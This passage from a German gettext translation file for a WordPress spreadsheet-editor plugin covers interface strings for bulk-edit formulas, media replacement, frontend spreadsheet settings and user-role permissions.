                  " #: formulas/inc/ui.php:64 formulas/inc/ui.php:263 msgid "Bulk Edit" msgstr "Massen-Bearbeitung" #: formulas/inc/ui.php:76 msgid "Using this tool you can update thousands of rows at once" msgstr "Mit diesem Tool kannst du Tausende von Zeilen auf einmal aktualisieren" #: formulas/inc/ui.php:77 msgid "Need help? Check our tutorials" msgstr "Brauchst du Hilfe? Sieh in unsere Tutorials" #: formulas/inc/ui.php:82 msgid "Select the rows that you want to update." msgstr "Wähle die Zeilen aus, die du aktualisieren möchtest." #: formulas/inc/ui.php:85 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Alle Zeilen meiner aktuellen Suche bearbeiten (einschließlich der nicht " "sichtbaren Zeilen)." #: formulas/inc/ui.php:86 msgid "I want to search rows to update and edit all the search results" msgstr "" "Ich möchte Zeilen durchsuchen, um alle Suchergebnisse zu aktualisieren und " "zu bearbeiten" #: formulas/inc/ui.php:87 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" "Die Zeilen bearbeiten, die ich manuell im Arbeitsblatt ausgewählt habe." #: formulas/inc/ui.php:89 msgid "Make another search" msgstr "Neue Suche starten" #: formulas/inc/ui.php:97 msgid "What field do you want to edit?" msgstr "Welches Feld möchtest du bearbeiten?" #: formulas/inc/ui.php:98 formulas/inc/ui.php:111 #: universal-sheet/views/export-modal.php:24 msgid "Select column..." msgstr "Spalte auswählen..." #: formulas/inc/ui.php:108 msgid "" "A column is missing?
                  Enable it" msgstr "" "Es fehlt eine Spalte? Aktiviere sie" #: formulas/inc/ui.php:126 msgid "Generated formula:" msgstr "Generierte Formel:" #: formulas/inc/ui.php:131 msgid "Use slower execution method?" msgstr "Langsamere Ausführungsmethode verwenden?" #: formulas/inc/ui.php:131 msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "Die Standardmethode verwendet eine schnellere Ausführungsmethode, aber sie " "funktioniert möglicherweise nicht in allen Fällen. Verwende diese Option, " "wenn die Standardmethode nicht funktioniert oder nicht alle Beiträge " "aktualisiert." #: formulas/inc/ui.php:135 msgid "Execute formula on future posts automatically (Advanced users only)" msgstr "" "Formel bei zukünftigen Beiträgen automatisch ausführen (nur für " "fortgeschrittene Benutzer)" #: formulas/inc/ui.php:135 msgid "" "If you mark this option , when you create or update a post in the " "spreadsheet, we will check if the post matches the formula parameters and " "execute the formula automatically on that post. For example. When you create " "a product with category apples we can set the description automatically, or " "when you change the SKU we can update the downloadable files URLs " "automatically." msgstr "" "Wenn du diese Option markierst, prüfen wir beim Anlegen oder Aktualisieren " "eines Beitrags im Arbeitsblatt, ob der Beitrag mit den Formelparametern " "übereinstimmt, und führen die Formel automatisch für diesen Beitrag aus. Zum " "Beispiel: Wenn du ein Produkt mit der Kategorie Äpfel erstellst, können wir " "die Beschreibung automatisch einstellen, oder wenn du die SKU änderst, " "können wir die URLs der herunterladbaren Dateien automatisch aktualisieren." #: formulas/inc/ui.php:138 msgid "%s rows will be edited." msgstr "%s Zeilen werden bearbeitet." #: formulas/inc/ui.php:138 msgid "You can select the rows for the edit in the first option of this form." msgstr "" "In der ersten Option dieses Formulars kannst du die Zeilen für die " "Bearbeitung auswählen." #: formulas/inc/ui.php:148 msgid "I have a database backup, Execute Now" msgstr "Ich habe eine Datenbanksicherung, jetzt ausführen" #: formulas/inc/ui.php:150 msgid "Execute Now" msgstr "Jetzt ausführen" #: formulas/inc/ui.php:153 msgid "Execute on future posts only" msgstr "Nur bei zukünftigen Beiträgen ausführen" #: formulas/inc/ui.php:154 posts-templates/posts-templates.php:87 #: universal-sheet/views/export-modal.php:13 #: universal-sheet/views/export-modal.php:68 #: universal-sheet/views/import-modal.php:14 msgid "Cancel" msgstr "Abbrechen" #: formulas/inc/ui.php:157 msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Bitte sichere deine Datenbank vor der Ausführung, die Änderungen sind " "nicht umkehrbar.

                  2- Stell vor der Ausführung sicher, dass die " "Massenbearbeitungseinstellungen korrekt sind.

                  " #: formulas/inc/ui.php:159 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "" "Vorsicht: Die Änderungen sind nicht umkehrbar. Bitte überprüfe sie noch " "einmal, bevor du fortfährst." #: formulas/inc/ui.php:166 msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "Die Massenbearbeitung läuft. Bitte schließ dieses Fenster nicht, bevor der " "Prozess abgeschlossen ist." #: formulas/inc/ui.php:168 msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when " "executing the formula? Save less posts per batch" msgstr "" "Tipp: Die Formelausführung ist zu langsam? Speichere mehr Positionenje Verarbeitungszyklus
                  Du " "erhältst Fehler bei der Ausführung der Formel? Speichere weniger Positionenje Verarbeitungszyklus" #: formulas/inc/ui.php:171 universal-sheet/views/export-modal.php:62 #: universal-sheet/views/import-modal.php:183 msgid "Pause" msgstr "Pause" #: formulas/inc/ui.php:171 wp-sheet-editor/dev/views/quick-setup.php:76 #: wp-sheet-editor/dev/views/quick-setup.php:100 msgid "Go back" msgstr "Zurück" #: formulas/inc/ui.php:173 msgid "Processing..." msgstr "Wird verarbeitet..." #: formulas/inc/ui.php:179 msgid "" "Here you can view all the formulas saved for ongoing execution. These " "formulas will be executed on posts matching the filters when they are " "created or updated in the spreadsheet." msgstr "" "Hier kannst du alle für die laufende Ausführung gespeicherten Formeln " "anzeigen. Diese Formeln werden bei Beiträgen ausgeführt, die den Filtern " "entsprechen, wenn sie im Arbeitsblatt erstellt oder aktualisiert werden." #: formulas/inc/ui.php:180 msgid "" "Note. If you want to modify saved formulas you have to delete the formula " "and create it again in the formulas builder." msgstr "" "Achtung: Wenn du gespeicherte Formeln ändern möchtest, musst du die Formel " "löschen und im Formel-Editor neu anlegen." #: formulas/inc/ui.php:186 msgid "You haven't saved formulas yet." msgstr "Du hast noch keine Formeln gespeichert." #: formulas/inc/ui.php:206 msgid "Field to update:" msgstr "Zu aktualisierendes Feld:" #: formulas/inc/ui.php:207 msgid "Formula type:" msgstr "Formel-Typ:" #: formulas/inc/ui.php:208 msgid "Formula parameters:" msgstr "Formelparameter:" #: formulas/inc/ui.php:208 msgid "Parameter:" msgstr "Parameter:" #: formulas/inc/ui.php:209 msgid "Apply to:" msgstr "Anwenden auf:" #: formulas/inc/ui.php:211 msgid "All" msgstr "Alle" #: formulas/inc/ui.php:272 msgid "Edit" msgstr "Bearbeiten" #: formulas/inc/ui.php:291 msgid "Remove duplicates by title (delete the latest)" msgstr "Titel-Duplikate entfernen (neuesten Artikel löschen)" #: formulas/inc/ui.php:299 msgid "Remove duplicates by title (delete the oldest)" msgstr "Titel-Duplikate entfernen (ältesten Artikel löschen)" #: formulas/inc/ui.php:324 msgid "More options" msgstr "Mehr Optionen" #: formulas/inc/ui.php:356 msgid "The bulk edit is missing important information, please fill the form." msgstr "" "Bei der Massenbearbeitung fehlen wichtige Informationen, bitte füll das " "Formular aus." #: formulas/inc/ui.php:357 msgid "Select type of edit" msgstr "Art der Bearbeitung auswählen" #: formulas/inc/ui.php:358 msgid "- -" msgstr "- -" #: formulas/inc/ui.php:359 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" "Du hast eine ungültige Formel eingegeben. Bitte überprüfe dies oder " "kontaktiere uns." #: formulas/inc/ui.php:365 msgid "Math operation" msgstr "Mathematische Operation" #: formulas/inc/ui.php:366 msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Vorhandenen Wert mit dem Ergebnis einer mathematischen Operation " "aktualisieren.
                  Das Ergebnis wird auf 2 Dezimalstellen gerundet. D.h. aus " "3,845602 wird 3,85" #: formulas/inc/ui.php:378 msgid "Math formula" msgstr "Mathematische Formel" #: formulas/inc/ui.php:379 msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Beispiel 1: $current_value$ + 2 * 5.
                  Beispiel 2: $_regular_price$ * 0,7 " "(Regulärer Preis - 30%)" #: formulas/inc/ui.php:385 woocommerce/woocommerce.php:240 msgid "Decrease by percentage" msgstr "Verringern um Prozentsatz" #: formulas/inc/ui.php:386 msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Den vorhandenen Wert um einen Prozentsatz verringern.
                  Das Ergebnis wird " "auf 2 Dezimalstellen gerundet. D.h. 3,845602 wird zu 3,85" #: formulas/inc/ui.php:399 formulas/inc/ui.php:420 #: woocommerce/woocommerce.php:223 msgid "Decrease by" msgstr "Verringern um" #: formulas/inc/ui.php:400 formulas/inc/ui.php:442 msgid "Enter the percentage number." msgstr "Die Prozentzahl eingeben." #: formulas/inc/ui.php:406 msgid "Decrease by number" msgstr "Verringern um Anzahl" #: formulas/inc/ui.php:407 msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Den vorhandenen Wert um eine Zahl verringern.
                  Das Ergebnis wird auf 2 " "Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85" #: formulas/inc/ui.php:421 formulas/inc/ui.php:463 formulas/inc/ui.php:520 msgid "Enter the number." msgstr "Die Zahl eingeben." #: formulas/inc/ui.php:427 msgid "Increase by percentage" msgstr "Erhöhen um Prozentzahl" #: formulas/inc/ui.php:428 msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Den vorhandenen Wert um einen Prozentsatz erhöhen.
                  Das Ergebnis wird auf " "2 Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85" #: formulas/inc/ui.php:441 formulas/inc/ui.php:462 msgid "Increase by" msgstr "Erhöhen um" #: formulas/inc/ui.php:448 msgid "Increase by number" msgstr "Erhöhen um Zahl" #: formulas/inc/ui.php:449 msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Den vorhandenen Wert um eine Zahl erhöhen.
                  Das Ergebnis wird auf 2 " "Dezimalstellen gerundet. D.h. aus 3,845602 wird 3,85" #: formulas/inc/ui.php:469 msgid "Set value" msgstr "Wert festlegen" #: formulas/inc/ui.php:470 msgid "" "Replace existing value with this value. Read more" msgstr "" "Ersetze den vorhandenen Wert durch diesen Wert. Weiterlesen" #: formulas/inc/ui.php:484 formulas/inc/ui.php:894 msgid "Replace" msgstr "Ersetzen" #: formulas/inc/ui.php:485 msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Ersetze ein Wort, einen Ausdruck oder eine Zahl durch einen neuen Wert. Weiterlesen" #: formulas/inc/ui.php:494 formulas/inc/ui.php:966 msgid "Replace this" msgstr "Dies ersetzen" #: formulas/inc/ui.php:498 formulas/inc/ui.php:971 msgid "With this" msgstr "Mit diesem" #: formulas/inc/ui.php:504 msgid "Generate excerpt" msgstr "Auszug erzeugen" #: formulas/inc/ui.php:505 msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Wenn die Spalte einen sehr langen Text hat, entfernen wir das HTML und " "kürzen es auf eine Anzahl von Wörtern." #: formulas/inc/ui.php:519 msgid "Maximum number of words" msgstr "Maximale Wortanzahl" #: formulas/inc/ui.php:526 msgid "Capitalize words" msgstr "Wörter groß schreiben" #: formulas/inc/ui.php:527 msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Schreibe den ersten Buchstaben jedes Wortes im Feld groß. D.h. wandle \"mein " "Titel\" in \"Mein Titel\" um." #: formulas/inc/ui.php:546 msgid "Clear value" msgstr "Wert löschen" #: formulas/inc/ui.php:547 msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Entferne den vorhandenen Wert und lass das Feld leer. Weiterlesen" #: formulas/inc/ui.php:566 msgid "Remove duplicates" msgstr "Duplikate entfernen" #: formulas/inc/ui.php:567 msgid "" "Read " "more" msgstr "" "Weiterlesen" #: formulas/inc/ui.php:575 msgid "Which duplicates do you want to delete?" msgstr "Welche Dubletten möchtest du löschen?" #: formulas/inc/ui.php:577 msgid "Delete the newest items and keep the oldest item" msgstr "Lösch die neuesten Elemente und behalte das älteste Element" #: formulas/inc/ui.php:577 msgid "Delete the old items and keep the newest item" msgstr "Lösch die alten Elemente, und behalte das neueste Element" #: formulas/inc/ui.php:583 msgid "Append" msgstr "Anhängen" #: formulas/inc/ui.php:595 msgid "Enter the value to append to the existing value." msgstr "Den Wert eingeben, der an den vorhandenen Wert angehängt werden soll." #: formulas/inc/ui.php:601 msgid "Prepend" msgstr "Voranstellen" #: formulas/inc/ui.php:613 msgid "Enter the value to prepend to the existing value." msgstr "Den Wert eingeben, der dem vorhandenen Wert vorangestellt werden soll." #: formulas/inc/ui.php:619 msgid "Custom formula" msgstr "Benutzerdefinierte Formel" #: formulas/inc/ui.php:631 msgid "" "Only for advanced users. Read more." msgstr "" "Nur für fortgeschrittene Benutzer. Weiterlesen." #: formulas/inc/ui.php:637 msgid "Copy from other columns" msgstr "Aus anderen Spalten kopieren" #: formulas/inc/ui.php:642 msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Den Wert anderer Felder in dieses Feld kopieren.
                  Beispiel: Kopiere " "\"Sonderpreis\" in das Feld \"Normaler Preis\"." #: formulas/inc/ui.php:657 msgid "Copy from this column" msgstr "Aus dieser Spalte kopieren" #: formulas/inc/ui.php:686 msgid "Add time to existing dates" msgstr "Uhrzeit zu bestehenden Daten hinzufügen" #: formulas/inc/ui.php:687 msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Füge Stunden, Tage, Wochen, Monate oder Jahre zu den vorhandenen Daten hinzu." "
                  Wenn das bestehende Datum leer ist, verwenden wir das aktuelle Datum als " "Basis." #: formulas/inc/ui.php:699 formulas/inc/ui.php:727 msgid "Number" msgstr "Zahl" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 msgid "Hours" msgstr "Stunden" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 msgid "Days" msgstr "Tage" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 msgid "Weeks" msgstr "Wochen" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 msgid "Months" msgstr "Monate" #: formulas/inc/ui.php:707 formulas/inc/ui.php:735 msgid "Years" msgstr "Jahre" #: formulas/inc/ui.php:708 formulas/inc/ui.php:736 msgid "Time unit" msgstr "Zeiteinheit" #: formulas/inc/ui.php:714 msgid "Deduct time from existing dates" msgstr "Zeit von bestehenden Daten abziehen" #: formulas/inc/ui.php:715 msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Zieh eine Anzahl von Stunden, Tagen, Wochen, Monaten oder Jahren von den " "vorhandenen Daten ab.
                  Wenn das vorhandene Datum leer ist, verwenden wir " "das aktuelle Datum als Basis." #: formulas/inc/ui.php:765 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" "Wir werden die bestehende(n) Mediendatei(en) durch diese Datei(en) ersetzen." #: formulas/inc/ui.php:776 formulas/inc/ui.php:801 formulas/inc/ui.php:826 msgid "Upload the files" msgstr "Dateien hochladen" #: formulas/inc/ui.php:783 formulas/inc/ui.php:808 formulas/inc/ui.php:833 msgid "File URLs" msgstr "Datei-URLs" #: formulas/inc/ui.php:784 formulas/inc/ui.php:809 formulas/inc/ui.php:834 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "" "Die URLs eingeben, getrennt durch Kommata. Sie können von deiner eigenen " "Website stammen." #: formulas/inc/ui.php:790 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" "Wir werden die neue(n) Datei(en) der/den bestehenden Mediendatei(en) " "voranstellen." #: formulas/inc/ui.php:815 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" "Wir werden die neue(n) Datei(en) an die bestehende(n) Mediendatei(en) " "anhängen." #: formulas/inc/ui.php:840 formulas/inc/ui.php:895 msgid "Replace a media file with other file" msgstr "Eine Mediendatei durch eine andere Datei ersetzen" #: formulas/inc/ui.php:849 msgid "Replace these files" msgstr "Diese Dateien ersetzen" #: formulas/inc/ui.php:850 formulas/inc/ui.php:858 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "" "Die URLs eingeben, getrennt durch Kommata. Sie müssen von deiner eigenen " "Website stammen." #: formulas/inc/ui.php:857 msgid "With these files" msgstr "Mit diesen Dateien" #: formulas/inc/ui.php:869 msgid "We will replace the existing media file with this file." msgstr "Wir werden die bestehende Mediendatei durch diese Datei ersetzen." #: formulas/inc/ui.php:880 msgid "Upload the file" msgstr "Datei hochladen" #: formulas/inc/ui.php:888 msgid "" "Enter the URL. It can be an URL from your own site (Example http://site.com/" "wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Die URL eingeben. Es kann eine URL von Ihrer eigenen Website (Beispiel " "http://site.com/wp-content/uploads/2016/01/file.jpg) oder eine externe URL " "sein." #: formulas/inc/ui.php:904 msgid "Replace this file" msgstr "Diese Datei ersetzen" #: formulas/inc/ui.php:905 formulas/inc/ui.php:913 msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Die URL eingeben. Es muss eine URL von Ihrer eigenen Website sein. Beispiel: " "http://site.com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:912 msgid "With this file" msgstr "Mit dieser Datei" #: formulas/inc/ui.php:949 msgid "We will replace the existing terms with these terms." msgstr "Wir werden die bestehenden Begriffe durch diese Begriffe ersetzen." #: formulas/inc/ui.php:954 msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Die neuen Begriffe eingeben, getrennt durch %s. Du kannst eine Hierarchie " "wie Eltern > Kind > Kind hinzufügen" #: formulas/inc/ui.php:960 msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Ersetze einige Begriffe durch neue Begriffe. Weiterlesen" #: formulas/inc/ui.php:967 formulas/inc/ui.php:972 msgid "You must enter the full hierarchy like parent > child" msgstr "Du musst die vollständige Hierarchie wie Elternteil > Kind eingeben" #: formulas/inc/ui.php:982 msgid "Terms" msgstr "Begriffe" #: formulas/inc/ui.php:983 msgid "Enter the full hierarchy like parent > child" msgstr "Die vollständige Hierarchie eingeben, wie Eltern > Kind" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "Frontend-Arbeitsblätter" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "Login-Meldung" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "Du musst dich anmelden, um diese Seite anzuzeigen." #: frontend-sheet/frontend-sheet.php:81 msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Dies wird angezeigt, wenn der aktuelle Benutzer nicht eingeloggt ist und " "versucht, ein Arbeitsblatt zu sehen. Wir zeigen nach Ihrer Nachricht ein " "Anmeldeformular an." #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "Admin-Leiste im Frontend ausblenden" #: frontend-sheet/frontend-sheet.php:87 msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log " "out, edit the current page, etc. If you enable this option we will hide that " "bar and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "Standardmäßig zeigt WordPress einen schwarzen Balken oben auf der Seite an, " "wenn ein angemeldeter Benutzer eine Frontend-Seite aufruft. Über den Balken " "kannst du auf WP-Admin zugreifen, dich abmelden, die aktuelle Seite " "bearbeiten usw. Wenn du diese Option aktivierst, wird dieser Balken " "ausgeblendet, und du kannst den Shortcode [vg_display_logout_link] " "verwenden, um den Logout-Link anzuzeigen." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Dieses Logo wird über dem Arbeitsblatt im Frontend angezeigt" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "Menü" #: frontend-sheet/frontend-sheet.php:101 msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "" "Dieses Menü wird im oberen rechten Abschnitt über dem Arbeitsblatt angezeigt." #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "Hauptfarbe" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "Diese Farbe wird als Hintergrund für die Kopf- und Fußzeile verwendet." #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "Linkfarbe" #: frontend-sheet/frontend-sheet.php:116 msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Diese Farbe wird für die Menü-Links verwendet, sie sollte das Gegenteil der " "Hintergrundfarbe sein, d.h. dunkler Hintergrund mit hellem Text oder heller " "Hintergrund mit dunklem Text" #: frontend-sheet/frontend-sheet.php:212 msgid "Posts" msgstr "Beiträge" #: frontend-sheet/frontend-sheet.php:213 msgid "Pages" msgstr "Seiten" #: frontend-sheet/frontend-sheet.php:243 msgid "Quick settings" msgstr "Schnelle Einstellungen" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid "" " (Premium. Try for Free for 7 Days)" msgstr "" " (Premium. 7 Tage lang kostenlos " "testen)" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Arbeitsblätter" #: frontend-sheet/frontend-sheet.php:418 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Arbeitsblatt" #: frontend-sheet/frontend-sheet.php:419 frontend-sheet/frontend-sheet.php:446 msgid "Frontend Sheet" msgstr "Frontend-Blatt" #: frontend-sheet/frontend-sheet.php:420 msgid "Post Type" msgstr "Beitragstyp" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Archives" msgstr "Arbeitsblatt-Archiv" #: frontend-sheet/frontend-sheet.php:422 msgid "Spreadsheet Attributes" msgstr "Arbeitsblatt-Attribute" #: frontend-sheet/frontend-sheet.php:423 msgid "Parent Spreadsheet:" msgstr "Übergeordnetes Arbeitsblatt:" #: frontend-sheet/frontend-sheet.php:424 msgid "All Spreadsheets" msgstr "Alle Arbeitsblätter" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New Spreadsheet" msgstr "Neues Arbeitsblatt hinzufügen" #: frontend-sheet/frontend-sheet.php:426 msgid "Add New" msgstr "Neu hinzufügen" #: frontend-sheet/frontend-sheet.php:427 msgid "New Spreadsheet" msgstr "Neues Arbeitsblatt" #: frontend-sheet/frontend-sheet.php:428 msgid "Edit settings" msgstr "Einstellungen bearbeiten" #: frontend-sheet/frontend-sheet.php:429 msgid "Update settings" msgstr "Einstellungen aktualisieren" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheet" msgstr "Arbeitsblatt anzeigen" #: frontend-sheet/frontend-sheet.php:431 msgid "View Spreadsheets" msgstr "Arbeitsblätter anzeigen" #: frontend-sheet/frontend-sheet.php:432 msgid "Search Spreadsheet" msgstr "Arbeitsblatt durchsuchen" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found" msgstr "Nicht gefunden" #: frontend-sheet/frontend-sheet.php:434 msgid "Not found in Trash" msgstr "Nicht im Papierkorb gefunden" #: frontend-sheet/frontend-sheet.php:435 #: wp-sheet-editor/dev/inc/api/bootstrap.php:585 msgid "Featured Image" msgstr "Beitragsbild" #: frontend-sheet/frontend-sheet.php:436 msgid "Set featured image" msgstr "Beitragsbild festlegen" #: frontend-sheet/frontend-sheet.php:437 msgid "Remove featured image" msgstr "Beitragsbild entfernen" #: frontend-sheet/frontend-sheet.php:438 msgid "Use as featured image" msgstr "Als Beitragsbild verwenden" #: frontend-sheet/frontend-sheet.php:439 msgid "Insert into item" msgstr "In Element einfügen" #: frontend-sheet/frontend-sheet.php:440 msgid "Uploaded to this item" msgstr "Zu diesem Element hochgeladen" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list" msgstr "Arbeitsblätter-Liste" #: frontend-sheet/frontend-sheet.php:442 msgid "Spreadsheets list navigation" msgstr "Navigation in der Arbeitsblätter-Liste" #: frontend-sheet/frontend-sheet.php:443 msgid "Filter items list" msgstr "Element-Liste filtern" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "Brauchst du Hilfe?" #: frontend-sheet/views/backend/metabox.php:7 msgid "Watch tutorial" msgstr "Tutorial ansehen" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "Welche Informationen möchtest du im Frontend bearbeiten?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:185 #: wp-sheet-editor/dev/views/editor-page.php:221 msgid "Save changes" msgstr "Änderungen speichern" #: frontend-sheet/views/backend/metabox.php:38 msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Bitte wähle den Beitragstyp aus, und speichere die Änderungen. Nachdem du " "die Änderungen gespeichert hast, kannst du die restlichen Einstellungen und " "Anweisungen sehen." #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "Einrichtungsseite im Frontend" #: frontend-sheet/views/backend/metabox.php:54 msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Du musst ein Logo auf der Einstellungsseite festlegen. Optional kannst du " "die Hintergrundfarbe oder die Farbe der Links ändern und ein Kopfzeilenmenü " "festlegen." #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "Einstellungs-Seite öffnen" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "Vorschau des Frontend-Editors" #: frontend-sheet/views/backend/metabox.php:64 msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." msgstr "" "Wenn du diesen Schritt abgeschlossen hast, kannst du den Frontend-Editor " "verwenden. Du kannst die Frontend-Seite zu einem Menü hinzufügen oder den " "Link mit deinen Benutzern teilen." #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "Verfügbare Werkzeuge (optional)" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "Werkzeuge oberhalb der Tabelle." #: frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "Sichtbarkeit der Spalten und benutzerdefinierte Felder (optional)" #: frontend-sheet/views/backend/metabox.php:108 msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Erlaube deinen Benutzern, benutzerdefinierte Felder zu bearbeiten, dem " "Editor neue Spalten hinzuzufügen, Felder zu aktivieren, Kernfelder zu " "deaktivieren und Felder zu sortieren. Du kannst den Frontend-Editor " "vollständig anpassen." #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "Sicherheit und Benutzerrollen (optional)" #: frontend-sheet/views/backend/metabox.php:120 msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "Der Editor ist nur für angemeldete Benutzer verfügbar. Unbekannte Benutzer " "sehen ein Anmeldeformular." #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "Benutzerrollen" #: frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "Abonnenten dürfen den Editor nicht verwenden." #: frontend-sheet/views/backend/metabox.php:126 msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "Beitragende können nur die eigenen Beiträge anzeigen und bearbeiten, Bilder " "können nicht hochladen werden." #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "Autoren können nur die eigenen Beiträge anzeigen und bearbeiten, Bilder " "können hochgeladen werden." #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "Editoren können alle Beiträge und Seiten anzeigen und bearbeiten." #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • Shop-Manager können WooCommerce-Produkte anzeigen und bearbeiten.
